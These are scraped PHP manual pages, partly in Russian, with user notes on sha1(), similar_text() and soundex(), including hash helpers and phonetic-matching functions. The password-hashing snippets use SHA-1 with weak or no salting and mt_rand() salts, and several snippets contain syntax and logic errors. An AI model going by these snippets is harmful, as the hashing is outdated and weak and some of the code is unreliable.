Regarding my previous comment, if you want to be on the safe side and use only ASCII printable seeds (shouldn't matter for SSHA seeds), something like this could be used:

<?php
$salt = substr(base64_encode(pack("H*", sha1(mt_rand()))), 0, 4);
?>
svn at datapirate dot de 20-Feb-2005 05:26
Wanna use SHA-2 algorithm? Try this:

Download Tar-Ball from http://www.adg.us/computers/sha.html
Compile (may occur some warnings) and test it:

cc -O2 -DSHA2_UNROLL_TRANSFORM -Wall -o sha2 sha2prog.c sha2.c
./sha2test.pl

Copy it to /usr/local/bin/ (don't forget to check permissions)

Here are two functions that could be used with:

function sha2($bits, $string){
    $sha2bin="/usr/local/bin/sha2";
    $echocmd="echo";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    $r=exec($echocmd." ".escapeshellarg($string)."|".$sha2bin." -q -".$bits, $sha2);
    return($sha2[0]);
}

function sha2_file($bits, $filename){
    $sha2bin="/usr/local/bin/sha2";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    if(!file_exists($filename)||!is_readable($filename))return(false);
    $r=exec($sha2bin." -q -".$bits." ".escapeshellarg($filename), $sha2);
    return($sha2[0]);
}

and use it like below:

<?php
$str = 'apple';
if (sha2(256, $str) === '303980bcb9e9e6cdec515230791af8b0ab1aaa244b58a8d99152673aa22197d0') {
   echo "Would you like a green or red apple?";
   exit;
}
?>
sinatosk at gmail dot com 22-Nov-2004 12:43
Heres an SHA1 function that will work on it's own completely. This is for users who are using below PHP 4.3.0. it works same as PHP5 ( being able to return raw output ).

<?php

/*
** Date modified: 1st October 2004 20:09 GMT
*
** PHP implementation of the Secure Hash Algorithm ( SHA-1 )
*
** This code is available under the GNU Lesser General Public License:
** http://www.gnu.org/licenses/lgpl.txt
*
** Based on the PHP implementation by Marcus Campbell
** http://www.tecknik.net/sha-1/
*
** This is a slightly modified version by me Jerome Clarke ( sinatosk@gmail.com )
** because I feel more comfortable with this
*/

function sha1_str2blks_SHA1($str)
{
    $strlen_str = strlen($str);

    $nblk = (($strlen_str + 8) >> 6) + 1;

    for ($i=0; $i < $nblk * 16; $i++) $blks[$i] = 0;

    for ($i=0; $i < $strlen_str; $i++)
    {
        $blks[$i >> 2] |= ord(substr($str, $i, 1)) << (24 - ($i % 4) * 8);
    }

    $blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);
    $blks[$nblk * 16 - 1] = $strlen_str * 8;

    return $blks;
}

function sha1_safe_add($x, $y)
{
    $lsw = ($x & 0xFFFF) + ($y & 0xFFFF);
    $msw = ($x >> 16) + ($y >> 16) + ($lsw >> 16);

    return ($msw << 16) | ($lsw & 0xFFFF);
}

function sha1_rol($num, $cnt)
{
    return ($num << $cnt) | sha1_zeroFill($num, 32 - $cnt);
}

function sha1_zeroFill($a, $b)
{
    $bin = decbin($a);

    $strlen_bin = strlen($bin);

    $bin = $strlen_bin < $b ? 0 : substr($bin, 0, $strlen_bin - $b);

    for ($i=0; $i < $b; $i++) $bin = '0'.$bin;

    return bindec($bin);
}

function sha1_ft($t, $b, $c, $d)
{
    if ($t < 20) return ($b & $c) | ((~$b) & $d);
    if ($t < 40) return $b ^ $c ^ $d;
    if ($t < 60) return ($b & $c) | ($b & $d) | ($c & $d);

    return $b ^ $c ^ $d;
}

function sha1_kt($t)
{
    if ($t < 20) return 1518500249;
    if ($t < 40) return 1859775393;
    if ($t < 60) return -1894007588;

    return -899497514;
}

function sha1($str, $raw_output=FALSE)
{
    if ( $raw_output === TRUE ) return pack('H*', sha1($str, FALSE));

    $x = sha1_str2blks_SHA1($str);
    $a =  1732584193;
    $b = -271733879;
    $c = -1732584194;
    $d =  271733878;
    $e = -1009589776;

    $x_count = count($x);

    for ($i = 0; $i < $x_count; $i += 16)
    {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;

        for ($j = 0; $j < 80; $j++)
        {
            $w[$j] = ($j < 16) ? $x[$i + $j] : sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

            $t = sha1_safe_add(sha1_safe_add(sha1_rol($a, 5), sha1_ft($j, $b, $c, $d)), sha1_safe_add(sha1_safe_add($e, $w[$j]), sha1_kt($j)));
            $e = $d;
            $d = $c;
            $c = sha1_rol($b, 30);
            $b = $a;
            $a = $t;
        }

        $a = sha1_safe_add($a, $olda);
        $b = sha1_safe_add($b, $oldb);
        $c = sha1_safe_add($c, $oldc);
        $d = sha1_safe_add($d, $oldd);
        $e = sha1_safe_add($e, $olde);
    }

    return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
}

?>
rsemirag at yahoo dot com 02-Nov-2004 10:34
If you're struggling to generate an SHA encoded password for LDAP (PHP < 5.0), what you end up needing is this:

$userpassword = base64_encode(pack("H*", sha1($pass)));

I found this in the OpenLDAP FAQ (many thanks to Google and Ace), though I'm using the iPlanet LDAP server.

Ray Semiraglio
brian_bisaillon at rogers dot com 25-Feb-2004 08:19
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
    echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
    ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
mark at dot BANSPAM dot pronexus dot nl 30-Jan-2004 06:28
Looking for a simple function to implement HMAC-SHA1 but don't want to use the entire PEAR Message lib?

//Calculate HMAC-SHA1 according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmacsha1($key,$data) {
    $blocksize=64;
    $hashfunc='sha1';
    if (strlen($key)>$blocksize)
        $key=pack('H*', $hashfunc($key));
    $key=str_pad($key,$blocksize,chr(0x00));
    $ipad=str_repeat(chr(0x36),$blocksize);
    $opad=str_repeat(chr(0x5c),$blocksize);
    $hmac = pack(
                'H*',$hashfunc(
                    ($key^$opad).pack(
                        'H*',$hashfunc(
                            ($key^$ipad).$data
                        )
                    )
                )
            );
    return bin2hex($hmac);
}

It is very useful for client-authentication. see also http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Optionally you can change $hashfunc to 'md5' to make this an HMAC-MD5 function ;-)
If you want raw or base64 output instead of hexadecimal, just change the last return line.

Cheers,
Mark

p.s. the "$hmac =" line used to be 1 line but I had to cut it up in order to fit it here ;)
labarks 15-Nov-2003 03:06
Append this to the your sha1lib file to make it more portable.  If your version of php does support sha1() then it will try to use Mhash or else it will use the sha1lib.  Use $sha1 if you want to display which is being used.

if ( function_exists('sha1') )
    $sha1 = "sha1";

if ( !function_exists('sha1') && function_exists('mhash'))
{
    function sha1($hash_source)
    {
           $hash = mhash(MHASH_SHA1, $hash_source);
          $hex_hash = bin2hex($hash);
           return $hex_hash;
    }
    $sha1 = "Mhash";
}
if ( !function_exists('sha1') && !function_exists('mhash'))
{
    function sha1( $string, $raw_output = false )
    {
        $library = new Sha1Lib();

        return $raw_output ? $library->str_sha1($string) : $library->hex_sha1($string);
    }
    $sha1 = "sha1lib";
}
bobm at hp dot com 23-Apr-2003 09:12
To achieve raw binary format prior to PHP5, you can do this...

$raw = pack("H*", sha1($str));

Regards,

Bob Mader


Вычисляет степень похожести двух строк

  • « sha1
  • soundex »
  • PHP Manual
  • Функции для работы со строками
  • Вычисляет степень похожести двух строк

similar_text

(PHP 4, PHP 5, PHP 7, PHP 8)

similar_text — Вычисляет степень похожести двух строк

Описание

similar_text(string $string1, string $string2, float &$percent = null): int

Вычисляет степень похожести двух строк по алгоритму, описанному в Programming Classics: Implementing the World's Best Algorithms by Oliver (ISBN 0-131-00413-1). Эта реализация алгоритма не использует стека, использованного в оригинале, вместо этого применяются рекурсивные вызовы, что в некоторых случаях может ускорить процесс. Следует отметить, что сложность алгоритма составляет O(N**3), где N - длина более длинной из двух строк.

Список параметров

string1

Первая строка.

string2

Вторая строка.

Замечание:

Изменение порядка string1 и string2 может привести к другому результату; см, пример ниже.

percent

При передаче по ссылке третьего аргумента, similar_text() присваивает ему степень похожести двух строк в процентах, деля результат similar_text() на среднее число длин заданных строк 100 раз.

Возвращаемые значения

Возвращается количество совпадающих символов в двух строках.

Количество совпадающих символов вычисляется путём нахождения самой длинной первой общей подстроки, а затем делает это для префиксов и суффиксов рекурсивно. Добавляются длины всех найденных общих подстрок.

Примеры

Пример #1 Пример использования similar_text() с заменой аргументов

В этом примере показано, что изменение порядка аргументов string1 и string2 может дать разные результаты.

<?php
$sim = similar_text('bafoobar', 'barfoo', $perc);
echo "сходство: $sim ($perc %)\n";
$sim = similar_text('barfoo', 'bafoobar', $perc);
echo "сходство: $sim ($perc %)\n";

Вывод приведённого примера будет похож на:

сходство: 5 (71.428571428571 %)
сходство: 3 (42.857142857143 %)

Смотрите также

  • levenshtein() - Вычисляет расстояние Левенштейна между двумя строками
  • soundex() - Возвращает ключ soundex для строки

User Contributed Notes

pablo dot pazos at cabolabs dot com 29-Jan-2021 03:37
To calculate the percentage of similarity between two strings without depending on the order of the parameters and be case insensitive, I use this function based on levenshtein's distance:

<?php

  // string similarity calculated using levenshtein
  static function similarity($a, $b)
  {
    return 1 - (levenshtein(strtoupper($a), strtoupper($b)) / max(strlen($a), strlen($b)));
  }

?>

This will always return a number between 0 and 1, representing the percentage, for instance 0.8 represents 80% similar strings.

If you want this to be case-sensitive, just remove the strtoupper() functions.
Anonymous 21-May-2020 02:37
$result = similar_text ('ab', 'a', $percent);

> $percent: 66.666666666666671
vasyl at vasyltech dot com 08-Feb-2016 02:15
Recursive algorithm usually is very elegant one. I found a way to get better precision without the recursion. Imagine two different (or same) length ribbons with letters on each. You simply shifting one ribbon to left till it matches the letter the first.

<?php

function similarity($str1, $str2) {
    $len1 = strlen($str1);
    $len2 = strlen($str2);

    $max = max($len1, $len2);
    $similarity = $i = $j = 0;

    while (($i < $len1) && isset($str2[$j])) {
        if ($str1[$i] == $str2[$j]) {
            $similarity++;
            $i++;
            $j++;
        } elseif ($len1 < $len2) {
            $len1++;
            $j++;
        } elseif ($len1 > $len2) {
            $i++;
            $len1--;
        } else {
            $i++;
            $j++;
        }
    }

    return round($similarity / $max, 2);
}

$str1 = '12345678901234567890';
$str2 = '12345678991234567890';

echo 'Similarity: ' . (similarity($str1, $str2) * 100) . '%';
?>
I_HATE_SPAMMER- PAZ! 24-Oct-2014 09:59
Actually similar_text() is not bad...
it works good. But before processing i think is a good way to make a little mod like this

$var_1 = strtoupper("doggy");
$var_2 = strtoupper("Dog");

similar_text($var_1, $var_2, $percent);

echo $percent; // output is 75 but without strtoupper output is 50
ryan at derokorian dot com 04-Mar-2014 09:00
Note that this function is case sensitive:

<?php

$var1 = 'Hello';
$var2 = 'Hello';
$var3 = 'hello';

echo similar_text($var1, $var2);  // 5
echo similar_text($var1, $var3);  // 4
SPAM HATER 23-Jul-2012 06:16
Hey there,

Be aware when using this function, that the order of passing the strings is very important if you want to calculate the percentage of similarity, in fact, altering the variables will give a very different result, example :

<?php
$var_1 = 'PHP IS GREAT';
$var_2 = 'WITH MYSQL';

similar_text($var_1, $var_2, $percent);

echo $percent;
// 27.272727272727

similar_text($var_2, $var_1, $percent);

echo $percent;
// 18.181818181818
?>
daniel dot karbach at localhorst dot tv 17-Dec-2010 06:48
Please note that this function calculates a similarity of 0 (zero) for two empty strings.

<?php
similar_text("", "", $sim);
echo $sim; // "0"
?>
Paul 18-Jan-2007 08:50
The speed issues for similar_text seem to be only an issue for long sections of text (>20000 chars).

I found a huge performance improvement in my application by just testing if the string to be tested was less than 20000 chars before calling similar_text.

20000+ took 3-5 secs to process, anything else (10000 and below) took a fraction of a second.
Fortunately for me, there was only a handful of instances with >20000 chars which I couldn't get a comparison % for.
julius at infoguiden dot no 06-Feb-2003 06:46
If you have reserved names in a database that you don't want others to use, i find this to work pretty good.
I added strtoupper to the variables to validate typing only. Taking case into consideration will decrease similarity.

<?php
$query = mysql_query("select * from $table") or die("Query failed");

while ($row = mysql_fetch_array($query)) {
      similar_text(strtoupper($_POST['name']), strtoupper($row['reserved']), $similarity_pst);
      if (number_format($similarity_pst, 0) > 90){
        $too_similar = $row['reserved'];
        print "The name you entered is too similar the reserved name &quot;".$row['reserved']."&quot;";
        break;
       }
    }
?>
georgesk at hotmail dot com 08-Mar-2002 08:14
Well, as mentioned above the speed is O(N^3), i've done a longest common subsequence way that is O(m.n) where m and n are the length of str1 and str2, the result is a percentage and it seems to be exactly the same as similar_text percentage but with better performance... here's the 3 functions i'm using..

<?php
function LCS_Length($s1, $s2)
{
  $m = strlen($s1);
  $n = strlen($s2);

  //this table will be used to compute the LCS-Length, only 128 chars per string are considered
  $LCS_Length_Table = array(array(128),array(128));

  //reset the 2 cols in the table
  for($i=1; $i < $m; $i++) $LCS_Length_Table[$i][0]=0;
  for($j=0; $j < $n; $j++) $LCS_Length_Table[0][$j]=0;

  for ($i=1; $i <= $m; $i++) {
    for ($j=1; $j <= $n; $j++) {
      if ($s1[$i-1]==$s2[$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j-1] + 1;
      else if ($LCS_Length_Table[$i-1][$j] >= $LCS_Length_Table[$i][$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j];
      else
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i][$j-1];
    }
  }
  return $LCS_Length_Table[$m][$n];
}

function str_lcsfix($s)
{
  $s = str_replace(" ","",$s);
  $s = ereg_replace("[????????]","e", $s);
  $s = ereg_replace("[????????????]","a", $s);
  $s = ereg_replace("[????????]","i", $s);
  $s = ereg_replace("[?????????]","o", $s);
  $s = ereg_replace("[????????]","u", $s);
  $s = ereg_replace("[?]","c", $s);
  return $s;
}

function get_lcs($s1, $s2)
{
  //ok, now replace all spaces with nothing
  $s1 = strtolower(str_lcsfix($s1));
  $s2 = strtolower(str_lcsfix($s2));

  $lcs = LCS_Length($s1,$s2); //longest common sub sequence

  $ms = (strlen($s1) + strlen($s2)) / 2;

  return (($lcs*100)/$ms);
}
?>

you can skip calling str_lcsfix if you don't worry about accentuated characters and things like that or you can add up to it or modify it for faster performance, i think ereg is not the fastest way?
hope this helps.
Georges
daniel at reflexionsdesign dot com 09-Oct-2001 06:30
If performance is an issue, you may wish to use the levenshtein() function instead, which has a considerably better complexity of O(str1 * str2).


Возвращает ключ soundex для строки

  • « similar_text
  • sprintf »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает ключ soundex для строки

soundex

(PHP 4, PHP 5, PHP 7, PHP 8)

soundex — Возвращает ключ soundex для строки

Описание

soundex(string $string): string

Возвращает ключ soundex для строки string.

Двум словам, имеющим схожее произношение, соответствует один и тот же ключ soundex. Это свойство может быть использовано, например, при поиске по базе данных, когда известно произношение слова и неизвестно его написание.

Данная реализация функции soundex описана Дональдом Кнутом (Donald Knuth) в книге "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), стр. 391-392.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает ключ soundex в виде строки (string). Возвращает ключ soundex в виде строки (string) с четырьмя символами. Если в string содержится хотя бы одна буква, возвращаемая строка начинается с буквы. В противном случае возвращается "0000".

Список изменений

Версия | Описание
8.0.0 | До этой версии при вызове функции с пустой строкой возвращалось false без особой причины.

Примеры

Пример #1 Примеры использования soundex

<?php
soundex("Euler") == soundex("Ellery"); // E460
soundex("Gauss") == soundex("Ghosh"); // G200
soundex("Hilbert") == soundex("Heilbronn"); // H416
soundex("Knuth") == soundex("Kant"); // K530
soundex("Lloyd") == soundex("Ladd"); // L300
soundex("Lukasiewicz") == soundex("Lissajous"); // L222
?>

Смотрите также

  • levenshtein() - Вычисляет расстояние Левенштейна между двумя строками
  • metaphone() - Возвращает ключ metaphone для строки
  • similar_text() - Вычисляет степень похожести двух строк

User Contributed Notes

synnus at gmail dot com 29-Apr-2020 03:22
<?php
/*    SOUNDEX FRENCH
Frederic Bouchery     26-Sep-2003
http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
*/

function soundex2( $sIn ) {
   // Si il n'y a pas de mot, on sort immediatement
   if ( $sIn === '' ) return '    ';
   // On met tout en minuscule
   $sIn = strtoupper( $sIn );
   // On supprime les accents
   $sIn = strtr( $sIn, 'AAACEEEE&#338;IIOOUUU', 'AAASEEEEEIIOOUUU' );
   // On supprime tout ce qui n'est pas une lettre
   $sIn = preg_replace( '`[^A-Z]`', '', $sIn );
   // Si la chaine ne fait qu'un seul caractere, on sort avec.
   if ( strlen( $sIn ) === 1 ) return $sIn . '   ';
   // on remplace les consonnances primaires
   $convIn = array( 'GUI', 'GUE', 'GA', 'GO', 'GU', 'CA', 'CO', 'CU',
'Q', 'CC', 'CK' );
   $convOut = array( 'KI', 'KE', 'KA', 'KO', 'K', 'KA', 'KO', 'KU', 'K',
'K', 'K' );
   $sIn = str_replace( $convIn, $convOut, $sIn );
   // on remplace les voyelles sauf le Y et sauf la premiere par A
   $sIn = preg_replace( '`(?<!^)[EIOU]`', 'A', $sIn );
   // on remplace les prefixes puis on conserve la premiere lettre
   // et on fait les remplacements complementaires
   $convIn = array( '`^KN`', '`^(PH|PF)`', '`^MAC`', '`^SCH`', '`^ASA`',
'`(?<!^)KN`', '`(?<!^)(PH|PF)`', '`(?<!^)MAC`', '`(?<!^)SCH`',
'`(?<!^)ASA`' );
   $convOut = array( 'NN', 'FF', 'MCC', 'SSS', 'AZA', 'NN', 'FF', 'MCC',
'SSS', 'AZA' );
   $sIn = preg_replace( $convIn, $convOut, $sIn );
   // suppression des H sauf CH ou SH
   $sIn = preg_replace( '`(?<![CS])H`', '', $sIn );
   // suppression des Y sauf precedes d'un A
   $sIn = preg_replace( '`(?<!A)Y`', '', $sIn );
   // on supprime les terminaisons A, T, D, S
   $sIn = preg_replace( '`[ATDS]$`', '', $sIn );
   // suppression de tous les A sauf en tete
   $sIn = preg_replace( '`(?!^)A`', '', $sIn );
   // on supprime les lettres repetitives
   $sIn = preg_replace( '`(.)\1`', '$1', $sIn );
   // on ne retient que 4 caracteres ou on complete avec des blancs
   return substr( $sIn . '    ', 0, 4);
}
?>
synnus at gmail dot com 30-Jun-2015 11:39
<?php
// https://github.com/Fruneau/Fruneau.github.io/blob/master/assets/soundex_fr.php
// http://blog.mymind.fr/blog/2007/03/15/soundex-francais/
function soundex_fr($sIn){
    static $convVIn, $convVOut, $convGuIn, $convGuOut, $accents;
    if (!isset($convGuIn)) {
        $accents = array('E' => 'E', 'E' => 'E', 'E' => 'E', 'E' => 'E',
                    'A' => 'A', 'A' => 'A', 'A' => 'A', 'A' => 'A', 'A' => 'A', 'A' => 'A',
                    'I' => 'I', 'I' => 'I', 'I' => 'I', 'I' => 'I',
                    'O' => 'O', 'O' => 'O', 'O' => 'O', 'O' => 'O', 'O' => 'O', 'O' => 'O',
                    'U' => 'U', 'U' => 'U', 'U' => 'U', 'U' => 'U',
                    'C' => 'C', 'N' => 'N', 'C' => 'S', '?' => 'E',
                    'e' => 'e', 'e' => 'e', 'e' => 'e', 'e' => 'e',
                    'a' => 'a', 'a' => 'a', 'a' => 'a', 'a' => 'a', 'a' => 'a', 'a' => 'a',
                    'i' => 'i', 'i' => 'i', 'i' => 'i', 'i' => 'i',
                    'o' => 'o', 'o' => 'o', 'o' => 'o', 'o' => 'o', 'o' => 'o', 'o' => 'o',
                    'u' => 'u', 'u' => 'u', 'u' => 'u', 'u' => 'u',
                    'c' => 'c', 'n' => 'n');
        $convGuIn  = array( 'GUI', 'GUE', 'GA', 'GO', 'GU', 'SCI', 'SCE', 'SC', 'CA', 'CO',
                            'CU', 'QU', 'Q', 'CC', 'CK', 'G', 'ST', 'PH');
        $convGuOut = array( 'KI', 'KE', 'KA', 'KO', 'K', 'SI', 'SE', 'SK', 'KA', 'KO',
                            'KU', 'K', 'K', 'K', 'K', 'J', 'T', 'F');
        $convVIn   = array( '/E?(AU)/', '/([EA])?[UI]([NM])([^EAIOUY]|$)/', '/[AE]O?[NM]([^AEIOUY]|$)/',
                            '/[EA][IY]([NM]?[^NM]|$)/', '/(^|[^OEUIA])(OEU|OE|EU)([^OEUIA]|$)/', '/OI/',
                            '/(ILLE?|I)/', '/O(U|W)/', '/O[NM]($|[^EAOUIY])/', '/(SC|S|C)H/',
                            '/([^AEIOUY1])[^AEIOUYLKTPNR]([UAO])([^AEIOUY])/', '/([^AEIOUY]|^)([AUO])[^AEIOUYLKTP]([^AEIOUY1])/', '/^KN/',
                            '/^PF/', '/C([^AEIOUY]|$)/',  '/E(Z|R)$/',
                            '/C/', '/Z$/', '/(?<!^)Z+/', '/H/', '/W/');
        $convVOut  = array( 'O', '1\3', 'A\1',
                            'E\1', '\1E\3', 'O',
                            'Y', 'U', 'O\1', '9',
                            '\1\2\3', '\1\2\3', 'N',
                            'F', 'K\1', 'E',
                            'S', 'SE', 'S', '', 'V');
    }

    if ( $sIn === '' ) return '    ';
    $sIn = strtr( $sIn, $accents);
    $sIn = strtoupper( $sIn );
    $sIn = preg_replace( '`[^A-Z]`', '', $sIn );
    if ( strlen( $sIn ) === 1 ) return $sIn . '   ';
    $sIn = str_replace( $convGuIn, $convGuOut, $sIn );
    $sIn = preg_replace( '`(.)\1`', '$1', $sIn );
    $sIn = preg_replace( $convVIn, $convVOut, $sIn);
    $sIn = preg_replace( '`L?[TDX]?S?$`', '', $sIn );
    $sIn = preg_replace( '`(?!^)Y([^AEOU]|$)`', '\1', $sIn);
    $sIn = preg_replace( '`(?!^)[EA]`', '', $sIn);
    return substr( $sIn . '    ', 0, 4);
}
?>
Dirk Hoeschen - Feenders de 26-Jan-2014 11:00
I made some improvements to the "Cologne Phonetic" function of niclas zimmer. Key and value of the arrays are inverted to uses simple arrays instead of multidimensional arrays. Therefore all loops and iterations are not longer necessary to find the matching value  for a char.
I put the function into a static class and moved the array declarations outside the function.

The result is more reliable and five times faster than the original.

<?php
class CologneHash() {

    static $eLeading = array("ca" => 4, "ch" => 4, "ck" => 4, "cl" => 4, "co" => 4, "cq" => 4, "cu" => 4, "cx" => 4, "dc" => 8, "ds" => 8, "dz" => 8, "tc" => 8, "ts" => 8, "tz" => 8);

    static $eFollow = array("sc", "zc", "cx", "kx", "qx");

    static $codingTable = array("a" => 0, "e" => 0, "i" => 0, "j" => 0, "o" => 0, "u" => 0, "y" => 0,
        "b" => 1, "p" => 1, "d" => 2, "t" => 2, "f" => 3, "v" => 3, "w" => 3, "c" => 4, "g" => 4, "k" => 4, "q" => 4,
        "x" => 48, "l" => 5, "m" => 6, "n" => 6, "r" => 7, "c" => 8, "s" => 8, "z" => 8);

    public static function getCologneHash($word)
    {
        if (empty($word)) return false;
        $len = strlen($word);

        for ($i = 0; $i < $len; $i++) {
            $value[$i] = "";

            //Exceptions
            if ($i == 0 && $word[$i] . $word[$i + 1] == "cr") {
                $value[$i] = 4;
            }

            if (isset($word[$i + 1]) && isset(self::$eLeading[$word[$i] . $word[$i + 1]])) {
                $value[$i] = self::$eLeading[$word[$i] . $word[$i + 1]];
            }

            if ($i != 0 && (in_array($word[$i - 1] . $word[$i], self::$eFollow))) {
                $value[$i] = 8;
            }

            // normal encoding
            if ($value[$i]=="") {
                if (isset(self::$codingTable[$word[$i]])) {
                    $value[$i] = self::$codingTable[$word[$i]];
                }
            }
        }

        // delete double values
        $len = count($value);

        for ($i = 1; $i < $len; $i++) {
            if ($value[$i] == $value[$i - 1]) {
                $value[$i] = "";
            }
        }

        // delete vocals
        for ($i = 1; $i > $len; $i++) {
            // omitting first characer code and h
            if ($value[$i] == 0) {
                $value[$i] = "";
            }
        }

        $value = array_filter($value);
        $value = implode("", $value);

        return $value;
    }

}
?>
nicolas dot zimmer at einfachmarke dot de 03-Aug-2008 03:47
Since soundex() does not produce optimal results for German language
we have written a function to implement the so called Kolner Phonetik
(Cologne Phonetic).

Please find the code below in the hope it might be useful:

<?php
/**
 * A function for retrieving the Kolner Phonetik value of a string
 *
 * As described at http://de.wikipedia.org/wiki/Kolner_Phonetik
 * Based on Hans Joachim Postel: Die Kolner Phonetik.
 * Ein Verfahren zur Identifizierung von Personennamen auf der
 * Grundlage der Gestaltanalyse.
 * in: IBM-Nachrichten, 19. Jahrgang, 1969, S. 925-931
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * @package phonetics
 * @version 1.0
 * @link http://www.einfachmarke.de
 * @license GPL 3.0 <http://www.gnu.org/licenses/>
 * @copyright  2008 by einfachmarke.de
 * @author Nicolas Zimmer <nicolas dot zimmer at einfachmarke.de>
 */

function cologne_phon($word){

  /**
  * @param  string  $word string to be analyzed
  * @return string  $value represents the Kolner Phonetik value
  * @access public
  */

    //prepare for processing
    $word=strtolower($word);
    $substitution=array(
            "a"=>"a",
            "o"=>"o",
            "u"=>"u",
            "?"=>"ss",
            "ph"=>"f"
            );

    foreach ($substitution as $letter=>$substitution) {
        $word=str_replace($letter,$substitution,$word);
    }

    $len=strlen($word);

    //Rule for exeptions
    $exceptionsLeading=array(
    4=>array("ca","ch","ck","cl","co","cq","cu","cx"),
    8=>array("dc","ds","dz","tc","ts","tz")
    );

    $exceptionsFollowing=array("sc","zc","cx","kx","qx");

    //Table for coding
    $codingTable=array(
    0=>array("a","e","i","j","o","u","y"),
    1=>array("b","p"),
    2=>array("d","t"),
    3=>array("f","v","w"),
    4=>array("c","g","k","q"),
    48=>array("x"),
    5=>array("l"),
    6=>array("m","n"),
    7=>array("r"),
    8=>array("c","s","z"),
    );

    for ($i=0;$i<$len;$i++){
        $value[$i]="";

        //Exceptions
        if ($i==0 AND $word[$i].$word[$i+1]=="cr") $value[$i]=4;

        foreach ($exceptionsLeading as $code=>$letters) {
            if (in_array($word[$i].$word[$i+1],$letters)){

                    $value[$i]=$code;

}                }

        if ($i!=0 AND (in_array($word[$i-1].$word[$i],
$exceptionsFollowing))) {

            value[$i]=8;

}

        //Normal encoding
        if ($value[$i]==""){
                foreach ($codingTable as $code=>$letters) {
                    if (in_array($word[$i],$letters))$value[$i]=$code;
                }
            }
        }

    //delete double values
    $len=count($value);

    for ($i=1;$i<$len;$i++){
        if ($value[$i]==$value[$i-1]) $value[$i]="";
    }

    //delete vocals
    for ($i=1;$i>$len;$i++){//omitting first characer code and h
        if ($value[$i]==0) $value[$i]="";
    }

    $value=array_filter($value);
    $value=implode("",$value);

    return $value;

}

?>
shortcut 13-Nov-2006 11:24
The answer to whether soundex works except for the first letter in klancy vs clancy is to always prefix words with the same letter.

aklancy will match aclancy
bklancy will match bclancy

soundex seems to only check the 1st 2 syllables.??
ie:  spectacular matches spectacle

just a thought if you rely on soundex.

k-
04-Oct-2005 12:25
Since the first letter is included in the phonetic representation in the output, it is worth pointing out that if you want a soundex key to work without the problems of klansy and clansy sounding different, take the substring from the first letter, as the first letter is the main constant of the word, and the numerical value is that of the phontic structure of the word.
crchafer-php at c2se dot com 13-Sep-2005 08:25
Rewritten, maybe -- but the algorithm has some obvious
optimisations which can be done, for example...

        function text__soundex( $text ) {
                $k = ' 123 12  22455 12623 1 2 2';
                $nl = strlen( $tN = strtoupper( $text ) );
                $p = trim( $k{ ord( $tS = $tN{0} ) - 65 } );
                for( $n = 1; $n < $nl; ++$n )
                        if( ( $l = trim( $k{ ord( $tN{ $n } ) - 65 } ) ) != $p )
                                $tS .= ( $p = $l );
                return substr( $tS . '000', 0, 4 );
        }

// Notes:
// $k is the $key, essentially $SoundKey inverted
// $tN is the uppercase of the text to be optimised
// $tS is the partaully generated output
// $l is the current letter, $p the previous
// $n and $nl are iteration indicies
// 65 is ord('A'), precalculated for speed
// none ascii letters are not supported
// watch the brackets, quite a mixture here

(Code has suffered only basic tests, though it appears to
match the output of PHP's soundex(), speed untested --
though this should be /much/ faster than a4_perfect's
rewrite due to the removal of most loops and compares.)

C
2005-09-13
Marc Quinton. 06-Jan-2005 06:53
a French soundex version ; could be used for other foreigns languages where soudex lacks. Perhaps, a class with each language specifics could be writen.

http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
justin at NO dot blukrew dot SPAM dot com 21-Sep-2004 04:18
I originally looked at soundex() because I wanted to compare how individual letters sounded. So, when pronouncing a string of generated characters it would be easy to to distinguish them from eachother.  (ie, TGDE is hard to distinguish, whereas RFQA is easier to understand). The goal was to generate IDs that could be easily understood with a high degree of accuracy over a radio of varying quality. I quickly figured out that soundex and metaphone wouldn't do this (they work for words), so I wrote the following to help out. The ID generation function iteratively calls chrSoundAlike() to compare each new character with the preceeding characters. I'd be interested in recieving any feedback on this. Thanks.

<?php
function chrSoundAlike($char1, $char2, $opts = FALSE) {
    $char1 = strtoupper($char1);
    $char2 = strtoupper($char2);
    $opts  = strtoupper($opts);

    // Setup the sets of characters that sound alike.
    // (Options: include numbers, include W, include both, or default is none of those.)
    switch ($opts) {
    case 'NUMBERS':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'STRICT':
        $sets = array(0 => array('A', 'J', 'K'),
